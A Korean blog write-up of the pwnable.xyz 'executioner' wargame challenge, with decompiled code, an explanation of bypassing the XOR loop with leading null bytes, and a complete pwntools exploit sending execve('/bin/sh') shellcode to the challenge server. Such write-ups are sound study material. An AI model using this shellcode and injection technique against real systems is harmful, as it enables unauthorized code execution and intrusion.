블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] executioner
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] executioner

728x90

1. 문제


1) mitigation 확인

이번에도 다 걸려있다.

2) 문제 확인

???? 코드를 봐야겠따

3) 코드 확인

  • solve_pow() 함수
    unsigned __int64 solve_pow()
    {
      unsigned int buf; // [rsp+8h] [rbp-18h]
      int v2; // [rsp+Ch] [rbp-14h]
      int v3; // [rsp+10h] [rbp-10h]
      int fd; // [rsp+14h] [rbp-Ch]
      unsigned __int64 v5; // [rsp+18h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      fd = open("/dev/urandom", 0);
      if ( fd == -1 )
      {
        puts("Can't open /dev/urandom");
        exit(1);
      }
      buf = 0;
      read(fd, &buf, 4uLL);
      close(fd);
      v2 = 0;
      v3 = 0;
      printf("POW: x + y == 0x%x\n", buf);
      printf("> ");
      if ( (unsigned int)_isoc99_scanf("%d %d", &v2, &v3) != 2 )
      {
        puts("scanf error");
        exit(1);
      }
      getchar();
      if ( v3 + v2 != buf )
      {
        puts("POW failed");
        exit(1);
      }
      puts("Loading challenge... ");
      sleep(v2 * v3);
      return __readfsqword(0x28u) ^ v5;
    }

    초기에 solve_pow 함수가 먼져 실행된다. 랜덤값이 buf에 담기고, 해당 값을 출력해준다. 그다음 scanf로 2개를 입력받는데, v2,v3을 더한 값이 출력된 buf 값과 같아야지 종료가 안됀다. 그다음 v2와 v3를 곱한 값 만큼 sleep을 한다. 여기서 v2에 0을 넣으면 sleep(0*머시기) 가 되서 넘어가게 된다. 그다음 메인을 봐보자

  • main() 함수
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      _QWORD *v4; // rax
      int i; // [rsp+0h] [rbp-20h]
      int fd; // [rsp+4h] [rbp-1Ch]
    
      setup();
      solve_pow();
      puts("Shellcode executioner");
      fd = open("/dev/urandom", 0);
      if ( fd != -1 )
      {
        read(fd, key, 0x7FuLL);
        close(fd);
        printf("Input: ");
        read(0, inpt, 0x7FuLL);
        for ( i = 0; i < strlen(inpt); ++i )
          inpt[i] ^= key[i];
        v4 = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
        *v4 = *(_QWORD *)inpt;
        v4[1] = qword_202288;
        v4[2] = qword_202290;
        v4[3] = qword_202298;
        v4[4] = qword_2022A0;
        v4[5] = qword_2022A8;
        v4[6] = qword_2022B0;
        v4[7] = qword_2022B8;
        v4[8] = qword_2022C0;
        v4[9] = qword_2022C8;
        v4[10] = qword_2022D0;
        v4[11] = qword_2022D8;
        v4[12] = qword_2022E0;
        v4[13] = qword_2022E8;
        v4[14] = qword_2022F0;
        v4[15] = qword_2022F8;
        __asm { jmp     rax }
      }
      puts("error");
      return 1;
    }

    inpt 변수에 read함수로 0x7f 만큼 입력을 받는다. 그다음 strlen(inpt) 값만큼 xor 연산을 한뒤에, mmap으로 메모리를 할당 받는다.

    mmap으로 할당받은 영역의 권한을 보면 rwx가 다 있다. 쨋든 for문이 다 돌고, 할당 받은 영역에 inpt에 들어있는 값부터 qword_202288 ~ 를 저장한다. 그다음 마지막으로 jump rax를 하는데 이는 mmap으로 할당받은 영역의 주소이다.

2. 접근방법


우선 solve_pow() 함수를 빠져나오기 위해, 출력되는 buf 값을 0 + buf 값 이렇게 scanf 입력으로 줘야한다. 그다음 strlen() 으로 xor 연산을 진행하는데, 해당 함수가 호출되면 xor연산으로 랜덤값과 xor 연산이 진행되기 때문에 해당 루틴을 벗어나야한다.

inpt에 입력시 초기 값이 널값이면 for문이 실행이 안돼므로, 널값 + 쉘코드를 삽입하면 되는 간단한 문제이다. 단 쉘코든는 인코딩이 되어 bad char가 없어야 하며, rax 레지스터를 초기화를 하는 루틴이 있어야 한다. 일반적인 0x21인가 크기 쉘코드 넣으니까 rax값에 이상한 값이 들어가 있어 syscall이 제대로 안됬었다.

3. 풀이


최종 익스코드는 다음과 같다

from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30025)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xECF+$code\n')

p.recvuntil("== ")
poww=int(p.recvuntil("\n")[:-1],16)

p.sendlineafter("> ","0"+" "+str(poww))

payload="\x00\x00"
payload+="\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\xb8\xfe\xfe\xfe\xfe\xfe\xfe\xfe\x3b\x48\xc1\xe8\x38\x0f\x05"
p.sendafter("Input: ",payload)
p.interactive()

4. 몰랐던 개념


  • none
728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] fspoo  (2) 2020.11.21
[pwnable.xyz] NoteV5  (0) 2020.06.17
[pwnable.xyz] AdultVM3  (0) 2020.06.16
[pwnable.xyz] AdultVM2  (0) 2020.06.16
[pwnable.xyz] AdultVM  (0) 2020.06.15